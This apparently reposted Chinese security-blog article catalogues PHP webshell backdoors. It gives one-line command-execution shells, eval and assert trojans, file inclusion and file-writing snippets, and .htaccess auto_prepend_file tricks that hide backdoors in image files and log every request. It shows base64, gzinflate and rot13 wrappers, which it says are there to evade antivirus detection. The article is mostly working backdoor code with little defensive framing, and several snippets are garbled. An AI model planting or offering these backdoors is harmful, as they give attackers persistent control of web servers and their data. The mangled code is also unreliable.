经典老文:常用php后门网马总结分析

  • A+
所属分类:安全文章

php后门木马常用的函数大致上可分为四种类型:

 

1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open

 

2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

 

3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

 

4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

--------------------------------------------- 


一、 执行系统命令:

 

system 函数

 

//test.php?cmd=ls

system($_GET[cmd]);

--------------------------- 

passthru 函数

 

//test.php?cmd=ls

 passthru($_GET[cmd]);

 ---------------------------

shell_exec 函数

 

//test.php?cmd=ls

 echo shell_exec($_GET[cmd]);

----------------------------------- 

exec 函数

 

//test.php?cmd=ls

 $arr = array();

 exec($_GET[cmd],$arr);

 print_r($arr);

------------------------------------ 

popen 函数

 

//test.php?cmd=ls

 $handle = popen(‘$_GET[cmd], ‘r’);

 $read = fread($handle, 2096);

 echo $read;

 pclose($handle);

 ------------------------------------------

proc_open 函数

 

//test.php?cmd=ls

 $de**orspec = array(

 0 => array(‘pipe’, ‘r’),

 1 => array(‘pipe’, ‘w’),

 2 => array(‘pipe’, ‘w’),

 );

 $proc = @proc_open($_GET[cmd], $de**orspec, $pipes);

 fclose($pipes[0]);

 $output = array();

 while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),”n”));

 print_r($output);

 ------------------------------------


二、 代码执行与加密:

 

eval 函数

 

//最常见的一句话木马

 eval($_POST[cmd]);

 base64_decode 函数

 //为了免杀及隐藏而加密代码

 //密文: eval($_POST[‘cmd’]);

 eval(base64_decode(‘ZXZhbCgkX1BPU1RbJ2NtZCddKTs=’));

 ---------------------------------------------------------------------

gzinflate 函数

 

//为了免杀及隐藏而加密代码

 //密文: eval($_POST[‘cmd’]);

 eval(gzinflate(base64_decode(‘Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==’)));

 -------------------------------------------------------------------------------------

gzuncompress 函数

 

//为了免杀及隐藏而加密代码

 //密文: eval($_POST[‘cmd’]);

 eval(gzuncompress(base64_decode(‘eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==’)));

-------------------------------------------------- 

gzdecode 函数

 

//为了免杀及隐藏而加密代码

 //密文: eval($_POST[‘cmd’]);

 eval(gzdecode(base64_decode(‘H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==’)));

 -----------------------------------------------

str_rot13 函数

 

//为了免杀及隐藏而加密代码

 //密文: eval($_POST[cmd]);

 eval(str_rot13(‘riny($_CBFG[pzq]);’));

 -------------------------------------------------

assert 函数

 

//类似eval函数

 assert($_POST[cmd]);

 ------------------------------

call_user_func 函数

 

//使用call_user_func调用assert

 call_user_func(‘assert’,$_POST[cmd]);

 --------------------------------------------

call_user_func 函数

 

//使用call_user_func调用任意函数

 //test.php?a=assert&cmd=phpinfo()

 call_user_func($_GET[a],$_REQUEST[cmd]);

 ------------------------------------------------------

组合代码

 

//组合方式调用任意函数

 //test.php?a=assert&cmd=phpinfo()

 $_GET[a]($_REQUEST[cmd]);

 ----------------------------------------


三、文件包含与生成:

 

require 函数

 

//包含任意文件

 //test.php?file=123.jpg

 require($_GET

);

 ----------------------------

require_once 函数

 

//包含任意文件

 //test.php?file=123.jpg

 require_once($_GET

);

 --------------------------------

include 函数

 

//包含任意文件 www.2cto.com

 //test.php?file=123.jpg

 include($_GET

);

 ---------------------------------

include_once 函数

 

//包含任意文件

 //test.php?file=123.jpg

 include_once($_GET

);

 ---------------------------------

file_get_contents 函数

 

//读取任意文件

 //test.php?f=config.inc.php

 echo file_get_contents($_GET[‘f’]);

 ----------------------------------------

file_put_contents 函数

 

//生成任意内容文件

 //a=test.php&b=

 file_put_contents($_GET[a],$_GET[b]);

 ----------------------------------------------

fputs 函数

 

//生成任意内容文件

 //a=test.php&b=

 fputs(fopen($_GET[a],”w”),$_GET[b]);

 -----------------------------------------------


四、.htaccess:

 

SetHandler

 

//可将php代码存于非php后缀文件,例: x.jpg

 //将以下代码写入.htaccess中

 //连接x.jpg即可启动后门木马

SetHandler application/x-httpd-php

 < /FilesMatch>

----------------------------------------

 auto_prepend_file


 //可将php代码存于非php后缀文件,例: 123.gif

 //将以下代码写入.htaccess中, 文件路径必须是绝对路径

 //访问网站上任何php文件都会启动该php后门木马

 //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马

 php_value auto_prepend_file c:/apache2/htdocs/123.gif

----------------------------------------------------------------------------------------------


auto_append_file

 

//类似auto_prepend_file

 //可将php代码存于非php后缀文件,例: 123.gif

 //将以下代码写入.htaccess中, 文件路径必须是绝对路径

 //访问网站上任何php文件都会启动该php后门木马

 php_value auto_append_file c:/apache2/htdocs/123.gif

本文转自 nxadmin

本文始发于微信公众号(飓风网络安全):经典老文:常用php后门网马总结分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: